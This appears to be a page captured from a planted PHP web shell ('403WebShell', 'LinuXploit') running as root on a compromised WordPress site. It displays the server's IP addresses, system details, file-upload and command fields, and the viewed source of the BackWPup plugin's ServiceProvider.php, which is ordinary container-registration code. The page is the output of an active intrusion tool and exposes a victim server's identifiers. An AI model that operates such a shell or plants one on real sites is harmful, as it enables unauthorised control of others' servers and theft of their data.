Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

Base Dir : /var/www/sweetheart.mx/htdocs

User : root


Who Knows WP Shell uploader
Uname:Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 216.238.66.20  /  Your IP : 216.73.216.199
Web Server : nginx/1.30.4
System : Linux woropds 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/sweetheart.mx/htdocs/wp-content/plugins/backwpup/src/Jobs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sweetheart.mx/htdocs/wp-content/plugins/backwpup/src/Jobs/ServiceProvider.php
<?php

declare(strict_types=1);

namespace WPMedia\BackWPup\Jobs;

use WPMedia\BackWPup\Dependencies\League\Container\ServiceProvider\AbstractServiceProvider;
use WPMedia\BackWPup\Jobs\API\Subscriber as JobApiSubscriber;
use WPMedia\BackWPup\Jobs\API\Rest as JobApiRest;
use WPMedia\BackWPup\Jobs\Frontend\API\Subscriber as JobApiFrontendSubscriber;
use WPMedia\BackWPup\Jobs\Frontend\API\Rest as JobApiFrontendRest;

class ServiceProvider extends AbstractServiceProvider {

	/**
	 * Services provided by this provider.
	 *
	 * @var array
	 */
	protected $provides = [
		'job_api_subscriber',
		'job_api_rest',
		'job_api_frontend_subscriber',
		'job_api_frontend_rest',
		// 'backwpup_helpers_adapter',
		// 'backwpup_adapter',
		// 'job_types_adapter',
		// 'job_adapter',
		// 'option_adapter',
		// 'cron_adapter',
	];

	/**
	 * Subscribers provided by this provider
	 *
	 * @var array
	 */
	public $subscribers = [
		'job_api_subscriber',
		'job_api_frontend_subscriber',
	];

	/**
	 * Check if the service provider provides a specific service.
	 *
	 * @param string $id The id of the service.
	 *
	 * @return bool
	 */
	public function provides( string $id ): bool {
		return in_array( $id, $this->provides, true );
	}
	/**
	 * Registers items with the container.
	 *
	 * @return void
	 */
	public function register(): void {
		$this->getContainer()->addShared( 'job_api_rest', JobApiRest::class )
			->addArguments(
				[
					'job_adapter',
					'option_adapter',
					'cron_adapter',
					'job_types_adapter',
					'backwpup_adapter',
					'encryption_adapter',
				]
			);

		$this->getContainer()->addShared( 'job_api_subscriber', JobApiSubscriber::class )
			->addArguments(
				[
					'job_api_rest',
				]
			);

		$this->getContainer()->addShared( 'job_api_frontend_rest', JobApiFrontendRest::class )
			->addArguments(
				[
					'backwpup_helpers_adapter',
					'job_adapter',
				]
			);

		$this->getContainer()->addShared( 'job_api_frontend_subscriber', JobApiFrontendSubscriber::class )
			->addArguments(
				[
					'job_api_frontend_rest',
				]
			);
	}

	/**
	 * Returns the subscribers array
	 *
	 * @return array
	 */
	public function get_subscribers() {
		return $this->subscribers;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit